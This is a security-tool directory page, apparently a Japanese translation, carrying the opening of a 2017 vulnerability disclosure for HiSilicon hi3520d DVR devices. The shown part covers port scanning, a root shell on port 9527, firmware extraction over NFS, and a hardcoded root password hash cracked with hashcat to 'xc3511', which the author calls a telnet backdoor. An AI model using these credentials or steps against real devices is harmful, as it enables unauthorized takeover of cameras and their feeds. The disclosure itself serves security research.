Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
pwn-hisilicon-dvr — HiSilicon hi3520d DVR/NVR デバイス向けの概念実証エクスプロイトと脆弱性開示です。Web インターフェースを介した RCE、バックドア認証情報、バッファオーバーフローの解析を実証します。 | Kitploit
ツール/GitHubGitHub/tothi/pwn-hisilicon-dvr
組み込みシステムセキュリティパスワードクラッキングIoTセキュリティネットワークマッピング脆弱性分析エクスプロイトリバースエンジニアリングウェブアプリケーション悪用情報収集ファジングバイナリ解析
38390203年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
tothi/pwn-hisilicon-dvr

pwn-hisilicon-dvr

HiSilicon hi3520d DVR/NVR デバイス向けの概念実証エクスプロイトと脆弱性開示です。Web インターフェースを介した RCE、バックドア認証情報、バッファオーバーフローの解析を実証します。

リポジトリを見る

= HiSilicon DVR ハック Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Contents :image_width: 100%

[abstract] このレポートは、HiSilicon hi3520d および類似のシステムオンチップ (SoC) を使用して構築された DVR/NVR デバイスの深刻な脆弱性(概念実証 (PoC) コード付き)を開示します。これらの脆弱性を悪用すると、Web インターフェースのみを使用して不正なリモートコード実行 (RCE) が可能になり、悪用されたデバイスを完全に乗っ取ることができます。アップグレードされたファームウェアが提供されていないため、これらのデバイスの使用は推奨されません。 2016年12月より前にベンダーに連絡しましたが、まだ返答がありません。開示の公開日は2017年2月です。

== 序文

数年前、私は eBay で安価な中国製 DVR デバイスを購入しました。デバイスの起動ロゴには「SECULINK - Security Monitoring」と表示されます。IT セキュリティ愛好家として、このセキュリティ監視サービスがどの程度「安全」なのかを確認するために、デバイスを詳しく調べることにしました。このテーマについて Google で検索すると、いくつか興味深い資料が見つかりましたが、さらに深く掘り下げたところ、このデバイスに関するさらに興味深く、はるかに深刻な問題(0-day)を発見しました。

ハッキングセッション全体を最初から見てみましょう。(新しい独自の成果は、既知の古い成果と同様に記載されます。)

== DVR の探索

まずは公式ユーザーインターフェースを学び、その後さらに深く掘り下げ、おそらくファームウェアの入手を試みるべきです。脆弱性を見つける可能性はファームウェアとともに高まります。

=== 一目見た DVR

テスト用の DVR デバイスは「Seculink」というブランドです。

image::./seculink_device.png[Seculink DVR device]

利用可能な物理インターフェース:

  • 2x USB ポート(公式には GUI コンソールを操作するマウス用)、
  • HDMI ポート(および VGA)外部モニター接続用(GUI およびカメラビュー用)、
  • アナログ CCTV カメラ用の 4x BNC コネクタ、
  • 内部 SATA ポート。ビデオストリームを記録するためのストレージ接続用、
  • ネットワークアクセス用のイーサネットポート。

公式ユーザーインターフェース:

  • HDMI(または VGA)を出力、USB マウス/キーボードを入力として使用した直接アクセス。カメラビュー/コントロール/完全なセットアップ用、
  • HTTP 経由のネットワークアクセス。カメラビュー/コントロール用。

直接アクセス可能なセットアップインターフェースは、ユーザー認証(ユーザー名、パスワード)によって制限されています。デフォルトのスーパーユーザーは 'admin'、デフォルトのパスワードは空です。

強力なパスワードを設定した後、ユーザーは自分のカメラビューが他の人からアクセスされないと安心して感じるかもしれません。人々は、外部から DVR ストリームにアクセスするために、自宅の安全な LAN から DVR デバイスの Web ポート(tcp/80)を WAN 側に転送することがよくあります(これは、適切な Shodan 検索で確認できます ;) )。

=== ファームウェアの取得

ファームウェアを入手する方法はたくさんあるかもしれません:

  • ソフトウェア的な方法でデバイスから取得する(公式インターフェースを使用する、または何らかの脆弱性を悪用する)、
  • ハードウェア的な方法でデバイスから取得する(JTAG、シリアルコンソールなど)、
  • インターネット上で見つけてダウンロードする(利用可能な場合)。

後者(ダウンロード)の方法はここでは機能し、最も簡単ですが、デバイスに関する他の情報も得られるため、最初の方法を試してみましょう。

=== サービススキャン

DVR に対してフルポートスキャンを実行しましょう。なお、(root で実行した場合のデフォルトの)SYN スキャンはパケットがドロップされるため非常に遅いですが、フル TCP コネクトスキャンは数分で完了します。


Nmap 7.40 scan initiated Sun Sep 3 01:57:47 2017 as: nmap -v -sV -sT -p- -oA nmap_full 192.168.88.127

Nmap scan report for dvr.lan (192.168.88.127) Host is up (0.028s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet BusyBox telnetd 80/tcp open http uc-httpd 1.0.0 554/tcp open rtsp LuxVision or Vacron DVR rtspd 9527/tcp open unknown 34567/tcp open dhanalakshmi? 34599/tcp open unknown MAC Address: 00:12:12:15:B3:E7 (Plus ) Service Info: Host: LocalHost; Device: webcam

Nmap done at Sun Sep 3 02:00:42 2017 -- 1 IP address (1 host up) scanned in 174.79 seconds


要約と手動テスト:

  • 23/tcp は、何らかのユーザー名 + パスワード(アプリケーションの認証情報ではない)によって保護された telnet ログインインターフェースです。
  • 80/tcp は、アプリケーションの認証情報によって保護された Web インターフェースです。
  • 554/tcp は rtsp サービスで、一般的な rtsp URL で開くことができます:

rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp

なお、rtsp ストリームを開くには認証情報も必要です。

  • 9527/tcp は、非常に興味深い機能を備えた(秘密の?)サービスポートのようです。
  • 34567/tcp と 34599/tcp は、DVR アプリケーションに関連する何らかのデータポートのようです。

ここで、このデバイスはおそらく Linux 系のシステムであると言えます。

raw netcat で 9527/tcp に接続すると、ログメッセージとログインプロンプトが表示されるアプリケーションコンソールが表示されます。定義済みのアプリケーション認証情報のいずれかでログインできます。プロンプトで help を実行すると、コンソールコマンドの簡単な説明が表示されます。shell コマンドが最も興味深いようです。そうです、デバイスに root シェルを与えます。 ;)

これは明らかに深刻なセキュリティ問題です。なぜなら、いかなる(低権限の)アプリケーションユーザーも、デバイス上で自動的に root シェルを取得できるべきではないからです。

=== root シェル

root シェルでデバイスを調査すると(例:dmesg)、DVR が Linux カーネル(バージョン 3.0.8)を実行しており、ARMv7 CPU を搭載し、SoC モデルが hi3520d であることが明らかになります。

実行中のプロセスのリスト(ps)から、DVR アプリケーションが /var/Sofia であることがわかります。これは、nmap で検出された上記の tcp ポートに加えて、34568/udp および 34569/udp でもリッスンしています(netstat -nlup)。

マウントされたディスクのリスト(mount コマンド)から、ファームウェアイメージが /dev/mtdblockX デバイス(X=0,1,2,3,4,5)にあることがわかります。

ファームウェアは小さく、制限されているため、デバイスとの間でファイルをコピーしたい場合は工夫が必要です。幸い NFS がサポートされているので、デスクトップマシンに NFS サーバーをセットアップし、DVR からマウントすれば問題は解決します:


mount -t nfs 192.168.88.100:/nfs /home -o nolock

これでファームウェアの取得は簡単です:


cat /dev/mtdblock1 > /home/mtdblock1-root.img cat /dev/mtdblock2 > /home/mtdblock2-usr.img cat /dev/mtdblock3 > /home/mtdblock3-custom.img cat /dev/mtdblock4 > /home/mtdblock4-logo.img cat /dev/mtdblock5 > /home/mtdblock5-mtd.img

ファイル(生イメージだけでなく)を取得することもできます:


cp /var/Sofia /home/ tar -cf /home/fs.tar /bin /boot /etc /lib /linuxrc /mnt /opt /root /sbin /share /slv /usr /var

=== telnet インターフェース

telnet インターフェース(ポート 23/tcp)を介してデバイスにアクセスするには、OS の認証情報が必要になる場合があります。/etc/passwd を見ると、root ユーザーのパスワードハッシュがあります:


root:absxcfbgXtb3o:0:0:root:/:/bin/sh

root 以外のユーザーは存在せず、すべてがフル権限で実行されていることに注意してください。(つまり、誰かが何らかの方法でデバイスに侵入した場合、障壁はなく、攻撃者は即座に完全な権限を取得します。)

6文字の英数字(小文字)パスワードを想定すると、hashcat は上記の弱い DES ハッシュをすぐに解読します:


$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1

absxcfbgXtb3o:xc3511

Session..........: hashcat Status...........: Cracked Hash.Type........: descrypt, DES (Unix), Traditional DES Hash.Target......: absxcfbgXtb3o Time.Started.....: Sun Sep 3 03:25:07 2017 (2 mins, 29 secs) Time.Estimated...: Sun Sep 3 03:27:36 2017 (0 secs) Guess.Mask.......: ?1?1?1?1?1?1 [6] Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 815.9 kH/s (203.13ms) Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 121360384/2176782336 (5.58%) Rejected.........: 0/121360384 (0.00%) Restore.Point....: 93440/1679616 (5.56%) Candidates.#1....: sa8711 -> h86ani HWMon.Dev.#1.....: N/A

Started: Sun Sep 3 03:25:04 2017 Stopped: Sun Sep 3 03:27:38 2017

したがって、ユーザー root とパスワード xc3511 を使用して、ポート 23/tcp の telnet インターフェースを介してログインすることが可能です。閉じることができない telnet インターフェースでアクセス可能なこのハードコードされた root アカウントは、明らかにバックドアです。

これらの結果は、私たちの研究より前に他の人々によってほぼ利用可能でしたが、以下は完全に新しいものです。

== ファームウェアのリバースエンジニアリング

ファームウェアを調査すると、バイナリ /var/Sofia が、ビデオ処理などを除くすべてのインターフェースを実装するメインアプリケーションであることがわかります。したがって、このバイナリは私たちにとって最も興味深いものと思われます。

残念ながら、このバイナリは(静的にリンクされており)ストリップされているため、静的解析が難しくなっています:


$ file Sofia Sofia: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, stripped, with debug_info

したがって、静的解析(radare2 や IDA を使用)に加えて、動的解析も非常に役立つはずです。

=== リモート gdb

動的解析には、GNU プロジェクトデバッガ (GDB) をリモートの /var/Sofia アプリケーションにアタッチすることが有利です。推奨される方法は、リモートデバイス上で gdbserver を実行(およびアタッチ)し、ローカルマシンから gdb で接続することです。

もちろん、適切な ARM アーキテクチャ用に(できれば静的に)コンパイルされた gdbserver が必要です。これをビルドするには、組み込みシステム(私たちの DVR など)に推奨される C ライブラリである https://www.uclibc.org/[µClibc] を使用できます。利用可能なビルドはダイナミックビルドであり、私たちの DVR では問題があるため、カスタムの静的ビルドを自分で作成する必要があります。https://buildroot.org/[Buildroot] という素晴らしいビルド環境があり、追加の設定なしでビルドを実行できます(make menuconfig で必要なアプリ(例:gdb)を選択し、静的ライブラリを選択することを忘れずに、make を実行します)。

短いビルド時間(約 10〜15 分)の後、必要なツールがすべて利用可能になります。静的バイナリは、前述の NFS メソッドでデバイスに転送できます。Sofia バイナリを含むディレクトリ /var は ramfs であり、再起動後も持続しないことに注意してください。バイナリを(ほぼ)永続的に転送したい場合は、設定ファイルを含む読み書き可能なパーティション /mnt/mtd が適切なターゲットになります。openssh パッケージもビルドすると、scp が利用可能になり、ファイルの転送がより簡単になります。

これでファームウェアはリバースエンジニアリングの準備が整いました。リモートで gdbserver をアタッチできるようになりました(Sofia プロセスの PID を取得するのは ps で簡単です):


$ /mnt/mtd/gdbserver --attach :2000 610

ローカルマシンから接続します:


$ gdb -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'

なお、何らかの GDB 拡張機能(http://gef.readthedocs.io/en/master/[GEF] など)を使用することをお勧めします。何らかの理由でアプリケーションの一時停止(C-c を使用)が機能しない場合は、Sofia プロセスに TRAP シグナルを送信すると(kill -TRAP 610)、一時停止するはずです。

=== 認証手順の調査

静的解析の推奨ツールは、明らかに Hex-Ray の https://www.hex-rays.com/products/ida/[IDA Pro] です。残念ながら安価ではありませんが、他のどのツールよりもはるかに優れています。

初期の自動解析後には 15,000 以上の関数がありますが、IDA を使えば(簡単な Python スクリプトを使用して)認証関数を見つけるのは一瞬です。以下の https://www.hex-rays.com/products/ida/support/idapython_docs/[IDAPython] スニペットは、「Users」および「Password」の両方(同時に)に関連するものを参照するすべての関数を検索します:

ツールをダウンロード